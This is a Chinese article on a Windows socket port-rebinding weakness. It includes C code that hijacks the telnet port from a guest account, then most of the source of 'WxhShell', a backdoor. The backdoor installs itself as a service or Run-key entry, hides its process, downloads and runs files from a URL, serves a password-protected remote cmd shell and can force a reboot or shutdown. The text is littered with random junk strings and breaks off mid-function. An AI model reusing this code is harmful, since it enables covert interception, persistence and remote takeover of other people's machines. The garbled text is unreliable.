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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TCwFPlF| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +s,=lL A@!qv#' saddr.sin_family = AF_INET; 45@ I *` n?!">G saddr.sin_addr.s_addr = htonl(INADDR_ANY); oi&VgnSk HSE!x_$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +ZaSM~ B
dj!ia;H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RNEp4x T= y}y 这意味着什么?意味着可以进行如下的攻击: ,GbR!j@6 i/;\7n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q0`wt.}V2 / |;RV" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _lJ!R:* mW(W\'~_~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zx"s*:O FF`T\&u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 by1<[$8r ul6]!Iy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K,;E5 ?4#Li~q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^+>laOzC`8 T\6dm/5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5,lEx1{_ hP%M?MKC #include *MFIV02[N #include 1Kw+,.@d #include MC&` oX[ #include Tj`,Z5vy DWORD WINAPI ClientThread(LPVOID lpParam); 5K1)1E/Fu int main() ~]|6T~+]83 { ntX3Nt_n WORD wVersionRequested; x*\Y)9Vgy DWORD ret; }#RakV4 WSADATA wsaData; zOAd~E BOOL val; A7Cm5>Y_S SOCKADDR_IN saddr; kYP#SH/ SOCKADDR_IN scaddr; Ytp(aE: int err; $t'MSlF SOCKET s; y4
#>X SOCKET sc; "rALt~AX int caddsize; vFzRg5lH HANDLE mt; ^qvZXb DWORD tid; 7dTkp!'X- wVersionRequested = MAKEWORD( 2, 2 ); p}z<Fdu0 err = WSAStartup( wVersionRequested, &wsaData ); hn7#
L if ( err != 0 ) { >W=,j)MA printf("error!WSAStartup failed!\n"); P+
3G~Sr return -1; xf\ C|@i } J\}twYty saddr.sin_family = AF_INET; Fo (fWvz hlvK5Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &.)^
%Tp\z >;aWz%- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z3{G9Np saddr.sin_port = htons(23); TPQ%L@^L+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wv>^0\o { htO+z7 printf("error!socket failed!\n"); Y!aSs3c return -1; : %_LpZ } ;IvY^(YS@; val = TRUE; 8rAg\H3E //SO_REUSEADDR选项就是可以实现端口重绑定的 ?8H8O %Z8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bI7Vwyz { z}77Eh< printf("error!setsockopt failed!\n"); .FP$m? return -1; q<x/Hat) } jodIv=C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '6nAF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T8?Ghbn //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6fE7W>la XFVE>/H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y;m| { n K1Slg#U ret=GetLastError(); >mbHy<< printf("error!bind failed!\n"); 9d0@wq. return -1; 1sy[@Q2b } G{As,`{ listen(s,2); ih-#5M@ while(1) gMi0FO' { //up5R_nx caddsize = sizeof(scaddr); :I.mGH!^ //接受连接请求 o*+"| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d~])K#oJ if(sc!=INVALID_SOCKET) h"B+hu { x /(^7#u, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W<h)HhyG if(mt==NULL) k&M;,e3v6 { `z}?"BW| printf("Thread Creat Failed!\n"); ]? c
B:} break; |MTnH/| } )NW)R*m~D } c8 )DuJ#U CloseHandle(mt); +)AG* } aL\PGdgO closesocket(s); L8@f-Kk WSACleanup(); %:f&.@'r return 0; R+hU8 pu } MVpGWTH@F DWORD WINAPI ClientThread(LPVOID lpParam) ~p6 V,Q { EgEa1l!NSQ SOCKET ss = (SOCKET)lpParam; dM.f]-g SOCKET sc; IV~>I-rd unsigned char buf[4096]; P_^ +A SOCKADDR_IN saddr; q_: 4w$> long num; Qab>|eSm DWORD val; Ve$o}h- DWORD ret; J'6PmPzY| //如果是隐藏端口应用的话,可以在此处加一些判断 Xz6<lLb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 df8k7D;~e saddr.sin_family = AF_INET; l ~"^7H?4e saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @-07F,'W, saddr.sin_port = htons(23); olB.*#gA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o+iiSTJEe { .D"m@~j7 printf("error!socket failed!\n"); ~Y[r`]X`"m return -1; Df-DRi } /obfw^ val = 100; PudS2k_Qv if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fCd&D { @Rze|
T. ret = GetLastError(); ;J( 8
L return -1; 6xmZXpd! } eI}aQ]$ED if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e-/&$Qq { ZL&qp04} ret = GetLastError(); y-pJF{ R return -1; R{`(c/%8 } 4/~E4"8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q4h]o^ + { x3=A:}t8 printf("error!socket connect failed!\n"); FW;?s+Uyx closesocket(sc); 'T;P;:!\ closesocket(ss); 4HXo >0 return -1; FBX'.\@` } Wx%H%FeK while(1) kOrZv,qFG[ { JAnZdfRt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wD}l$& + //如果是嗅探内容的话,可以再此处进行内容分析和记录 .&iawz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #<"~~2? num = recv(ss,buf,4096,0); JPI3[.o if(num>0) q s!j>x send(sc,buf,num,0); dh\'<|\K else if(num==0) Xh"n]TK break; =+-UJo5 num = recv(sc,buf,4096,0); [ZwjOi:) if(num>0) wc@X.Q[ send(ss,buf,num,0); fCn^=8KOZ else if(num==0) r| wS<cA2 break; ha<[bu e } #pow ub closesocket(ss); e;q!6% closesocket(sc); w$iX.2|9%u return 0 ; @Sn(lnlB } &{n.]]%O. LzKj=5'Y vkV0On ========================================================== a 7V-C *!t/"b 下边附上一个代码,,WXhSHELL CJx|?yK2 ;u
({\K ========================================================== ,.8KN<A2]'
=%K;X\NB #include "stdafx.h" zV37$Hb :gibfk]C #include <stdio.h> /)>3Nq4Zx #include <string.h> / &5,3rU.G #include <windows.h> r.&Vw|*> #include <winsock2.h> [#vH'y #include <winsvc.h> hpX9[3 #include <urlmon.h> V#$RR!X' A2Ed0|B y #pragma comment (lib, "Ws2_32.lib") z (wc0I #pragma comment (lib, "urlmon.lib") x.6:<y (*'f+R`$ #define MAX_USER 100 // 最大客户端连接数 &-6Gc;f8 #define BUF_SOCK 200 // sock buffer 2 c{34: #define KEY_BUFF 255 // 输入 buffer 9ULQrq$? S!CC
}3zw #define REBOOT 0 // 重启 WIxy}3_to #define SHUTDOWN 1 // 关机 qS$Ox?Bw#u :J@gmY:C #define DEF_PORT 5000 // 监听端口 V! A~K
`5.'_3 #define REG_LEN 16 // 注册表键长度 Qx#"q '2 #define SVC_LEN 80 // NT服务名长度 ql{OETn# `p-cSxR_ // 从dll定义API %)W2H^
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &)ChQZA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Do7Tj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Cctu|^V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D_*WYV - % h.t+=U // wxhshell配置信息 j{A y\n ( struct WSCFG { $k%2J9O int ws_port; // 监听端口 dn+KH+v char ws_passstr[REG_LEN]; // 口令 }<SQ int ws_autoins; // 安装标记, 1=yes 0=no E6ElNgL char ws_regname[REG_LEN]; // 注册表键名 K=k"a char ws_svcname[REG_LEN]; // 服务名 n
M*%o- char ws_svcdisp[SVC_LEN]; // 服务显示名 }2.`N%[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 /nNN,hz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qn.om=KDs@ int ws_downexe; // 下载执行标记, 1=yes 0=no PiIpnoM char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 2r?G6D| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K7:)nv
E WPMSm<[ }; )9`qG:b' KL57#gV // default Wxhshell configuration g|yvF-+ struct WSCFG wscfg={DEF_PORT,
xF'EiX ~ "xuhuanlingzhe", E
A1?)|}n 1, zKJ#`OhT "Wxhshell", d#4**BM "Wxhshell", )23H1 "WxhShell Service", IY\5@PVZ "Wrsky Windows CmdShell Service", "(~^w=d:$ "Please Input Your Password: ", cf20.F{< 1, 7'V@+5 " http://www.wrsky.com/wxhshell.exe", IK=a*}19L "Wxhshell.exe" |&) dh< }; YkKi|k SsDmoEeB[ // 消息定义模块 c9 _rmz8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; agDM~= #F char *msg_ws_prompt="\n\r? for help\n\r#>"; :>f )g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @,7GaK\ char *msg_ws_ext="\n\rExit."; k)=s>&hl char *msg_ws_end="\n\rQuit."; ,Uqs1#r char *msg_ws_boot="\n\rReboot..."; joAv{Tc char *msg_ws_poff="\n\rShutdown..."; f+)L#>Gl? char *msg_ws_down="\n\rSave to "; C1n>M}b 04P}-L, char *msg_ws_err="\n\rErr!"; rcG"o\g@+ char *msg_ws_ok="\n\rOK!"; ,m|h<faZL 'yEHI char ExeFile[MAX_PATH]; LYK"( C int nUser = 0; {]@= ijjf HANDLE handles[MAX_USER]; YZ8>OwQz2 int OsIsNt; [<yaXQxl P{>!5|k SERVICE_STATUS serviceStatus; >jLY" SERVICE_STATUS_HANDLE hServiceStatusHandle; O-hAFKx ~4Fvy' // 函数声明 >tV{Pd1 int Install(void); sBg.u int Uninstall(void); KU(&%|;g int DownloadFile(char *sURL, SOCKET wsh); 21l;\W int Boot(int flag); :J&oX
<nF^ void HideProc(void); Ka
V8[|Gn, int GetOsVer(void); #f]SK[nR int Wxhshell(SOCKET wsl); \V~eVf;~ void TalkWithClient(void *cs); Moza".fiN int CmdShell(SOCKET sock); "`e{/7I int StartFromService(void); 2-EIE4ds int StartWxhshell(LPSTR lpCmdLine); `l[c_%Bm D'DfJwA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !M1"b; VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3,qr-g|;jM ;$wVu|& // 数据结构和表定义 !?h;wR SERVICE_TABLE_ENTRY DispatchTable[] = bJTBjS-7 { iz PDd{[ {wscfg.ws_svcname, NTServiceMain}, z$. 88^ {NULL, NULL} `dN@u@[\ks }; Om2d.7S ?NsW|w_ // 自我安装 WP'!*[z int Install(void) kxhWq:[c {
dkTX char svExeFile[MAX_PATH]; &n:.k}/P HKEY key; QlU8uI[dk strcpy(svExeFile,ExeFile); C33J5'(CA uHzU-FZ|B // 如果是win9x系统,修改注册表设为自启动 GGs}i1m if(!OsIsNt) { HQhM'x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OA;XiR$xP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ai3*QX RegCloseKey(key); lX4
x* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q/0Tj]D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S_UIO.K RegCloseKey(key); @lr ztM return 0; -x`@6 } :*9Wh } ;iL#7NG-R } X\qNG] else { +a{1)nCXe #.)0xfGW)n // 如果是NT以上系统,安装为系统服务 RMu~l@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -k e's if (schSCManager!=0) 'zuIBOH`j3 { y}ev ,j SC_HANDLE schService = CreateService c4eBt))}V ( T+H!_ky`A schSCManager, JU&c.p
/ wscfg.ws_svcname, `Eo.v#< wscfg.ws_svcdisp, \"OG6G_>$ SERVICE_ALL_ACCESS, Btn]}8K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ; )@~ SERVICE_AUTO_START, _F|Ek ;y% SERVICE_ERROR_NORMAL, (gWm,fI
RZ svExeFile, `7V]y- NULL, 56kI
5: NULL, kJT)r6 NULL, ;"-&1qHN NULL, ],Do6
@M- NULL ope^~+c~\ ); sWnLEw if (schService!=0) G3AesTT| { v;D~Pa CloseServiceHandle(schService); YO}<Ytx CloseServiceHandle(schSCManager); /!XVHkX[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s
R/F" strcat(svExeFile,wscfg.ws_svcname); ')<hON44EX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_
*Pf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Q"4Migbe@ RegCloseKey(key); r0% D58 return 0; *#+An<iT ; } z[qDkL } |#R7wnE[k~ CloseServiceHandle(schSCManager); $Ri; ^pZw[ } 59;KQ } wgGl[_) ^WWQI+pk return 1; &7tbI5na@ } vy:Z /1q &E5g3lf // 自我卸载 >7DhTM-A int Uninstall(void) 5vnrA'BhBU { 4zFW-yy HKEY key; @?]RBX?a 5#E`=C% if(!OsIsNt) { p>8D;#HmL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LyFN.2qw RegDeleteValue(key,wscfg.ws_regname); V1B5w_^>h' RegCloseKey(key); p9{mS7R9T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HY:7? <r RegDeleteValue(key,wscfg.ws_regname); tf`^v6m%] RegCloseKey(key); ds[| return 0; d5:c^` } 9V*qQS5<p } /hyN;.hpOO } *VxgARIL else { i?^L/b`H =U?dbSf1* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z*%q@]ym if (schSCManager!=0) B
\2SH%\ { onxLyx|A SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); toC^LZgZ_6 if (schService!=0) L)
T (< { Qh\60f>0 if(DeleteService(schService)!=0) { a<bwzX|. CloseServiceHandle(schService); svH !1b CloseServiceHandle(schSCManager); 'm
kLCS return 0; II{&{S'HU } Qd3 j%( CloseServiceHandle(schService); \LexR.Di } 9CD_os\h CloseServiceHandle(schSCManager); H$UcF1k< }
r3UUlR/Do } ln
dx"prW sLxc(d'A return 1; o|["SYIf } A^<jy=F& |aq"#Ml) // 从指定url下载文件 JDT`C2-Q int DownloadFile(char *sURL, SOCKET wsh) P@c5pc#| { aAUvlb HRESULT hr; 8FY?!C char seps[]= "/"; .,6-u char *token; -e:`|(Mo char *file; Z/+#pWBI! char myURL[MAX_PATH]; iGB}Il) char myFILE[MAX_PATH]; Mb~F%_ JZyAXm% strcpy(myURL,sURL); $*fMR,~t& token=strtok(myURL,seps); ;uP:"k while(token!=NULL) 20Wg=p9L { sd|).;s} file=token; 1p=]hC token=strtok(NULL,seps); qY!Zt_Be6 } eehb1L2(b 5$C-9 GetCurrentDirectory(MAX_PATH,myFILE); 11;MN strcat(myFILE, "\\"); #AQV(;r7@ strcat(myFILE, file); A~70 send(wsh,myFILE,strlen(myFILE),0); $qj2w"' send(wsh,"...",3,0); I
b5rqU\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E~"y$Fqe if(hr==S_OK) o?\?@H return 0; /%io+94 else C;^X[x%h7$ return 1; bOY |H~ i=2N;sAl } R4:b{ )=O e$rZ5X // 系统电源模块 b d!Y\OD int Boot(int flag) t"oeQ*d% { Pe3o;mx HANDLE hToken; X=&KayD TOKEN_PRIVILEGES tkp; hp|YE'uYT I%KYtv~` if(OsIsNt) { /cP"h!P}~~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?%[jR=w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?4T-@~~*`= tkp.PrivilegeCount = 1; ysY*k` 5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /N.U/MPL_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5`p.#
if(flag==REBOOT) { |P?*5xPB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AFwdJte9e return 0; uQKT } ;
BHtCuY else { -aCKRN85 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O?#7N[7 return 0; 4{|"7/PE1 } ^} >w<'0 } J5,9_uo] else { Ab.(7GFK if(flag==REBOOT) { $/Uq0U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {]4LULq return 0; sK?twg;D*| } ~*];pV]A[ else { $6R-5oQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5]:U9ts# return 0; j^RmrOg, } JNnDts*w } &mS^ZyG (KZ{^X?a return 1; a/xn'"eli } Tpa5N'O @-`*m+$U6 // win9x进程隐藏模块 3F^Q51:t void HideProc(void) SNk=b6`9 { ysnx3(+| U-k`s[dv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vKAN@HSYr if ( hKernel != NULL ) K_}K@' { >Y@H4LF;1x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M x"\5i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z},# ~L6$q FreeLibrary(hKernel); jq0O22
-R } ^E>3|du]O Q\sK"~@3 return; Xne1gms } uHRsFlw
6(R<{{ // 获取操作系统版本 t\O16O7S int GetOsVer(void) 4Ftu { N!tX<u~2 OSVERSIONINFO winfo; R[+<^s}p/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aw&,S"A@ GetVersionEx(&winfo); '8kP.l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~6md !o%i return 1; )NT*bLRPQ else (A.C]hD return 0; {R{=+2K!|k } _Y m2/3! v4 E}D // 客户端句柄模块 6Q5^>\Y int Wxhshell(SOCKET wsl) X1_5KH { Bk{]g=DO SOCKET wsh; vtJJ#8a]
struct sockaddr_in client; DzRFMYBR DWORD myID; pT6$DB# + Vdpy( while(nUser<MAX_USER) NDokSw- { yEy6]f+>+ int nSize=sizeof(client); \a3+rNdj wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j.=
1rwPt if(wsh==INVALID_SOCKET) return 1; <9b&<K: es0hm2HT3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sV*H`N')S if(handles[nUser]==0) wVtwx0|1 closesocket(wsh); ChQxa else Lu%b9Jk nUser++; G=bCNn< } [()koU#w. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7F.4Ga; .*Qx\, return 0; >^{yF~( } j_j]"ew) j B{8u&kz) // 关闭 socket >=w)x,0yX void CloseIt(SOCKET wsh) 9+!hg'9Qn { ^xk'Z closesocket(wsh); K)iF>y|{*q nUser--; WTiD[u ExitThread(0); llDkJ)\
} jSaU?ac ;qV>L=a // 客户端请求句柄 iK;XZZ( void TalkWithClient(void *cs) w&.aQGR# { Gav$HLx h;'~,xA SOCKET wsh=(SOCKET)cs; 0b 54fD= char pwd[SVC_LEN]; x.4m|f0; char cmd[KEY_BUFF]; :Llb< MY2 char chr[1]; 3PF_H$`oJ int i,j; V|R,!UND \z ) %$#I while (nUser < MAX_USER) { B`sAk
% ?gXp*>Kg[ if(wscfg.ws_passstr) { a,o*=r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ue>D7\8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /g.U&oI]D //ZeroMemory(pwd,KEY_BUFF); ksm~<;td i=0; ,`sv1xwd while(i<SVC_LEN) { I(
Mm?9F yWf`rF{ // 设置超时 zKK9r~ M fd_set FdRead; D)}v@je"yP struct timeval TimeOut; IAyp 2 FD_ZERO(&FdRead); V]?R>qhgu FD_SET(wsh,&FdRead); l}P=/#</T TimeOut.tv_sec=8; u$`a7Lp,n TimeOut.tv_usec=0; lk =<A"^S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !PE]C!*gv& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1AFA=t:]p NCD04U5y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dgP3@`YS pwd =chr[0]; #p{4^ if(chr[0]==0xd || chr[0]==0xa) { c[s4EUG pwd=0; (w zQ2Dk break; ?r!o~|9| } [<TrS/,)> i++; "EJ~QCW*Yh } -ze J#B)C x|29L7i // 如果是非法用户,关闭 socket &,)&%Sg[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IvNT6]6 P } iJ|uvPCE K|s,ru send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8l">cVo]T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.}oyz;}N T6kdS]4- while(1) { . 'yCw#f $`'/+x"% ZeroMemory(cmd,KEY_BUFF); M'l ;: OB}Ib] // 自动支持客户端 telnet标准 yF/j Fn j=0; aQI(Y^&%3 while(j<KEY_BUFF) { .o}v#W+st if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wS3'?PRX cmd[j]=chr[0]; a09<!0Rp if(chr[0]==0xa || chr[0]==0xd) { y~HP>~Oh cmd[j]=0; #Rr%:\* break; HLi%%"' } XB5DPx j++; \.}c9*) } cl/_JQ& hFBe,'3M // 下载文件 ]}X if(strstr(cmd,"http://")) { Vf1^4t send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dum9lj if(DownloadFile(cmd,wsh)) P1f[%1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -D~%|).' else |vzl. ^"- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h@wgd~X9 } lk80#( :Z else { e@YK@?^#N r,2g^K)6 switch(cmd[0]) { rQ snhv '}#9)}x! // 帮助 Ef{Vp;] case '?': { UR5`ue ; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;xn0;V'= break; J4U1t2@)9 } [opGZ`>)j" // 安装 ;]:@n;c\ case 'i': { caX<
n>
if(Install()) h!9ei6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _u9Jxw?F@Y else }l9llu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]
@fk] ]R break; |(^PS8wG } 11;zNjD| // 卸载 @`Su0W+. case 'r': { % %UE+u@J if(Uninstall()) Y\'}a+:@Ph send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x}<IS8 else ?|Zx!z ($ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X#;bh78&- break; Ilm^G}GB } Rbv;?'O$L // 显示 wxhshell 所在路径 ;YL i{ case 'p': { ?!/kZM_ts char svExeFile[MAX_PATH]; %vi83%$'4 strcpy(svExeFile,"\n\r"); BING{ew strcat(svExeFile,ExeFile); El"Q'(:/U send(wsh,svExeFile,strlen(svExeFile),0); LBP`hK:>W~ break; ?=pT7M } FHI ;)wn= // 重启 ENY+^7 case 'b': { BTrn0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,UE83j8D^ if(Boot(REBOOT)) )dd@\n$6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %D "I else { aC)!T closesocket(wsh); ^5
Tqy(M ExitThread(0); 63 B?. } A&jlizN7 break; E8&TO~"a]e } Ozf@6\/t // 关机 >b4eL59 case 'd': { 0_t!T'jr7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b>JDH1) if(Boot(SHUTDOWN)) SByW[JE send(wsh,msg_ws_err,strlen(msg_ws_err),0); XU7qd:| else { ;,e2egC' closesocket(wsh); BIL Lq8) ExitThread(0); K@hw.Xq" } u\JNr}bL break; Nda *L| } _zMW=nypdx // 获取shell xKp4*[}m case 's': { m`r(p" CmdShell(wsh); 3=ymm^ closesocket(wsh); u> 7=AlWF- ExitThread(0); 9'q*:&qq break; N ZSSg2TX# } UFuX@Lu0 // 退出 $iz|\m case 'x': { &@YmA1Yu)E send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !%0 *z CloseIt(wsh); L*JjG sTH break; 5`: Yye } @F*%9LPv // 离开 AYx{U?0p case 'q': { )K send(wsh,msg_ws_end,strlen(msg_ws_end),0); pyvSwD5t closesocket(wsh); HyWCMK6b WSACleanup(); ?6Y?a2 | exit(1); E< fV Z, break; \)|hogI|f } !C:$?oU } M =r)I~ } 5XBH$&Td Ph>%7M% // 提示信息 [cp+i^f if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J/*`7Pd } gB'6`' } Q'0d~6n&{ E?0%Z&1h return; |
%Vh`HT } XOS[No~ @MCg%Afw // shell模块句柄 ,nm*q#R,0 int CmdShell(SOCKET sock) [q #\D { C~iL3Cb STARTUPINFO si; Dm<A
^u8 ZeroMemory(&si,sizeof(si)); ySDH"|0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 04=c-~&q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^r,=vO PROCESS_INFORMATION ProcessInfo; y
h9*z3 char cmdline[]="cmd"; 9qG6Pb CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BF{Y"8u$ return 0; d-dEQKI?; } N<injx e**qF=HCw // 自身启动模式 [HZv8HU| int StartFromService(void) >\3V a { &KRX[2 typedef struct Npy:! { 6 ~w@PRy DWORD ExitStatus; JcxThZP~ DWORD PebBaseAddress; #O dJ"1A| DWORD AffinityMask; *bA.zmzM DWORD BasePriority; "1M[5\Ax ULONG UniqueProcessId; V6reqEh ULONG InheritedFromUniqueProcessId; R/z=p_6p7` } PROCESS_BASIC_INFORMATION; 6j LCU%^ 9mTJ|sN:e PROCNTQSIP NtQueryInformationProcess; hZ ;MdlwQ$` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dNeVo|Y~h static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QB'aON\S @2 fg~2M1 HANDLE hProcess; E09:E PROCESS_BASIC_INFORMATION pbi; iAIuxO | h#u^v3 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W|63Ir67 if(NULL == hInst ) return 0;
7E~;xn; fS78>*K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wi6
